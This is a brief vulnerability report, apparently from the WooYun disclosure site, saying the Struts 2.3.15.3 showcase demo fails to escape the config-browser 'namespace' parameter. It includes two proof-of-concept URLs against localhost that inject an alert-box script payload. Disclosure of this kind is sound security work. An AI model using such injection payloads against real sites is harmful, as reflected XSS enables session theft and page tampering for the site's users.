*Abstract* The latest version of the current official struts-2.3.15.3&#65292;struts2-showcase.war demo XSS still exist! *Details* I found an update of the official demo of Strust2, so I did a test. It used to be able to filter, escape input and escape output, but why didn&#8217;t it escape this time? *Proofs of concept* Two demo addresses&#8217; namespacec parameters were not solved: http://127.0.0.1:8080/struts2-07/config-browser/actionNames.action?namespace= <script>alert(/xss/);</script> http://127.0.0.1:8080/struts2-07/config-browser/showConfig.action?namespace= <script>alert(/xss/);</script>&actionName=showcase _______________________________________________ Form:http://en.wooyun.org/bugs/wooyun-2013-034 Author:Nebula <http://en.wooyun.org/whitehats/Nebula>